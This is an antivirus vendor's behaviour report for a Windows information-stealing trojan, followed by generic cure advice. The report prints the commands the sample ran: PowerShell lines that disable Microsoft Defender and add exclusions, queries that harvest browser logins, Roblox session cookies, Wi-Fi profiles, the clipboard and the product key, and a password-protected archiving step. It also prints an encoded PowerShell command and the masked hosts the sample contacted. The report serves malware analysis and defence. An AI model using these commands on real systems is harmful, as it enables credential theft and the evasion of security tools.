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Trojan.Siggen31.55575
Added to the Dr.Web virus database:
2025-09-12
Virus description added:
2025-09-13
Technical Information
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '<Full path to file>'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -Enabl...
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
Executes the following
'<SYSTEM32>\taskkill.exe' /F /PID 3056
'<SYSTEM32>\taskkill.exe' /F /PID 1392
'<SYSTEM32>\taskkill.exe' /F /PID 1224
'<SYSTEM32>\taskkill.exe' /F /PID 3080
'<SYSTEM32>\taskkill.exe' /F /PID 3500
'<SYSTEM32>\taskkill.exe' /F /PID 3868
'<SYSTEM32>\taskkill.exe' /F /PID 3408
Terminates or attempts to terminate
the following user processes:
Reads files which store third party applications passwords
%HOMEPATH%\desktop\holycrosschurchinstructions.docx
%HOMEPATH%\desktop\fi51.doc
%HOMEPATH%\desktop\issi2013_template_for_posters.docx
%HOMEPATH%\desktop\uep_form_786_bulletin_1726i602.doc
%LOCALAPPDATA%\microsoft\edge\user data\default\login data
%LOCALAPPDATA%\microsoft\edge\user data\default\web data
Modifies file system
Creates the following files
%TEMP%\_mei24962\vcruntime140.dll
%TEMP%\_mei24962\_bz2.pyd
%TEMP%\_mei24962\_ctypes.pyd
%TEMP%\_mei24962\_decimal.pyd
%TEMP%\_mei24962\_hashlib.pyd
%TEMP%\_mei24962\_lzma.pyd
%TEMP%\_mei24962\_queue.pyd
%TEMP%\_mei24962\_socket.pyd
%TEMP%\_mei24962\_sqlite3.pyd
%TEMP%\_mei24962\_ssl.pyd
%TEMP%\_mei24962\base_library.zip
%TEMP%\_mei24962\blank.aes
%TEMP%\_mei24962\libcrypto-3.dll
%TEMP%\_mei24962\libffi-8.dll
%TEMP%\_mei24962\libssl-3.dll
%TEMP%\_mei24962\python311.dll
%TEMP%\_mei24962\rar.exe
%TEMP%\_mei24962\rarreg.key
%TEMP%\_mei24962\select.pyd
%TEMP%\_mei24962\sqlite3.dll
%TEMP%\_mei24962\unicodedata.pyd
%ALLUSERSPROFILE%\microsoft\windows\start menu\programs\startup\ .scr
%TEMP%\ ÐÂ \common files\desktop\fi51.doc
%TEMP%\ ÐÂ \common files\desktop\holycrosschurchinstructions.docx
%TEMP%\ ÐÂ \common files\desktop\issi2013_template_for_posters.docx
%TEMP%\ ÐÂ \common files\desktop\uep_form_786_bulletin_1726i602.doc
%TEMP%\ ÐÂ \system\antivirus.txt
%TEMP%\z0e2ispk\z0e2ispk.0.cs
%TEMP%\z0e2ispk\z0e2ispk.cmdline
%TEMP%\z0e2ispk\z0e2ispk.out
%TEMP%\z0e2ispk\csc95845b7f25a2441fa4e0544f406c7aa.tmp
%TEMP%\resc89b.tmp
%TEMP%\z0e2ispk\z0e2ispk.dll
%TEMP%\ ÐÂ \display (1).png
%TEMP%\ ÐÂ \directories\desktop.txt
%TEMP%\ ÐÂ \directories\pictures.txt
%TEMP%\ ÐÂ \directories\documents.txt
%TEMP%\ ÐÂ \directories\music.txt
%TEMP%\ ÐÂ \directories\videos.txt
%TEMP%\ ÐÂ \directories\downloads.txt
%TEMP%\ ÐÂ \system\system info.txt
%TEMP%\ ÐÂ \system\mac addresses.txt
%TEMP%\ ÐÂ \system\task list.txt
%TEMP%\ltr6wuo3rz.tmp
%TEMP%\iux7kvv76k.tmp
%TEMP%\o1g6nhbrmv.tmp
%TEMP%\9wdga.zip
Modifies the HOSTS file.
Network activity
Connects to
'ip##pi.com':80
'gs##tic.com':443
'di##ord.com':443
TCP
HTTP GET requests
http://ip##pi.com/json/?fi###########
Other
'gs##tic.com':443
'di##ord.com':443
UDP
DNS ASK bl###-s3e3d.in
DNS ASK ip##pi.com
DNS ASK gs##tic.com
DNS ASK di##ord.com
Miscellaneous
Searches for the following windows
ClassName: '' WindowName: ''
Creates and executes the following
'%TEMP%\_mei24962\rar.exe' a -r -hp"blank123" "%TEMP%\9Wdga.zip" *
Restarts the analyzed sample
Executes the following
'<SYSTEM32>\cmd.exe' /c "powershell -Command Add-MpPreference -ExclusionPath '<Full path to file>'"
'<SYSTEM32>\cmd.exe' /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess ...
'<SYSTEM32>\cmd.exe' /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('If this continues contact @AsianRiceCooker on discord with your key', 0, 'Startup Error', 0+16);close()""
'<SYSTEM32>\cmd.exe' /c "tasklist /FO LIST"
'<SYSTEM32>\cmd.exe' /c "wmic csproduct get uuid"
'<SYSTEM32>\tasklist.exe' /FO LIST
'<SYSTEM32>\mshta.exe' "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('If this continues contact @AsianRiceCooker on discord with your key', 0, 'Startup Error', 0+16);close()"
'<SYSTEM32>\wbem\wmic.exe' csproduct get uuid
'<SYSTEM32>\cmd.exe' /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
'<SYSTEM32>\reg.exe' QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
'<SYSTEM32>\cmd.exe' /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
'<SYSTEM32>\reg.exe' QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
'<SYSTEM32>\cmd.exe' /c "wmic path win32_VideoController get name"
'<SYSTEM32>\wbem\wmic.exe' path win32_VideoController get name
'<SYSTEM32>\cmd.exe' /c "powershell -Command Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
'<SYSTEM32>\cmd.exe' /c "wmic path win32_shortcutfile where name="C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Telegram Desktop\\Telegram.lnk" get target /value"
'<SYSTEM32>\cmd.exe' /c "wmic path win32_shortcutfile where name="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Steam\\Steam.lnk" get target /value"
'<SYSTEM32>\cmd.exe' /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
'<SYSTEM32>\cmd.exe' /c "powershell Get-Clipboard"
'<SYSTEM32>\cmd.exe' /c "tree /A /F"
'<SYSTEM32>\cmd.exe' /c "netsh wlan show profile"
'<SYSTEM32>\cmd.exe' /c "systeminfo"
'<SYSTEM32>\cmd.exe' /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
'<SYSTEM32>\cmd.exe' /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbAB...
'<SYSTEM32>\wbem\wmic.exe' path win32_shortcutfile where name="C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Telegram Desktop\\Telegram.lnk" get target /value
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Get-Clipboard
'<SYSTEM32>\wbem\wmic.exe' path win32_shortcutfile where name="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Steam\\Steam.lnk" get target /value
'<SYSTEM32>\wbem\wmic.exe' /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
'<SYSTEM32>\tree.com' /A /F
'<SYSTEM32>\reg.exe' QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
'<SYSTEM32>\netsh.exe' wlan show profile
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC...
'<SYSTEM32>\systeminfo.exe'
'<SYSTEM32>\cmd.exe' /c "attrib -r <DRIVERS>\etc\hosts"
'<SYSTEM32>\attrib.exe' -r <DRIVERS>\etc\hosts
'<SYSTEM32>\cmd.exe' /c "attrib +r <DRIVERS>\etc\hosts"
'%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\z0e2ispk\z0e2ispk.cmdline"
'<SYSTEM32>\attrib.exe' +r <DRIVERS>\etc\hosts
'%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESC89B.tmp" "%TEMP%\z0e2ispk\CSC95845B7F25A2441FA4E0544F406C7AA.TMP"
'<SYSTEM32>\cmd.exe' /c "getmac"
'<SYSTEM32>\getmac.exe'
'<SYSTEM32>\cmd.exe' /c "taskkill /F /PID 3056"
'<SYSTEM32>\cmd.exe' /c "taskkill /F /PID 1392"
'<SYSTEM32>\cmd.exe' /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
'<SYSTEM32>\cmd.exe' /c "taskkill /F /PID 1224"
'<SYSTEM32>\cmd.exe' /c "taskkill /F /PID 3080"
'<SYSTEM32>\cmd.exe' /c "taskkill /F /PID 3500"
'<SYSTEM32>\cmd.exe' /c "taskkill /F /PID 3868"
'<SYSTEM32>\cmd.exe' /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
'<SYSTEM32>\cmd.exe' /c "taskkill /F /PID 3408"
'<SYSTEM32>\cmd.exe' /c "%TEMP%\_MEI24962\rar.exe a -r -hp"blank123" "%TEMP%\9Wdga.zip" *"
'<SYSTEM32>\cmd.exe' /c "wmic os get Caption"
'<SYSTEM32>\wbem\wmic.exe' os get Caption
'<SYSTEM32>\cmd.exe' /c "wmic computersystem get totalphysicalmemory"
'<SYSTEM32>\wbem\wmic.exe' computersystem get totalphysicalmemory
'<SYSTEM32>\cmd.exe' /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
'<SYSTEM32>\cmd.exe' /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
'<SYSTEM32>\cmd.exe' /c "powershell -Command Add-MpPreference -ExclusionPath '<Full path to file>'"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess ...' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('If this continues contact @AsianRiceCooker on discord with your key', 0, 'Startup Error', 0+16);close()""' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "tasklist /FO LIST"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "wmic csproduct get uuid"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "wmic path win32_VideoController get name"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "powershell -Command Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "wmic path win32_shortcutfile where name="C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Telegram Desktop\\Telegram.lnk" get target /value"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "wmic path win32_shortcutfile where name="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Steam\\Steam.lnk" get target /value"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "powershell Get-Clipboard"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "tree /A /F"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "netsh wlan show profile"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "systeminfo"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbAB...' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "attrib -r <DRIVERS>\etc\hosts"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "attrib +r <DRIVERS>\etc\hosts"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\z0e2ispk\z0e2ispk.cmdline"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESC89B.tmp" "%TEMP%\z0e2ispk\CSC95845B7F25A2441FA4E0544F406C7AA.TMP"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "getmac"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "taskkill /F /PID 3056"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "taskkill /F /PID 1392"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "taskkill /F /PID 1224"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "taskkill /F /PID 3080"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "taskkill /F /PID 3500"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "taskkill /F /PID 3868"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "taskkill /F /PID 3408"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "%TEMP%\_MEI24962\rar.exe a -r -hp"blank123" "%TEMP%\9Wdga.zip" *"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "wmic os get Caption"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "wmic computersystem get totalphysicalmemory"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"' (with hidden window)
Curing recommendations
Windows
macOS
Linux
Android
If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space .
If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.
If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
Switch off your device and turn it on as normal.
Find out more about Dr.Web for Android
Download Dr.Web for Android
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Renew your trial license in AppGallery/on Google Pay
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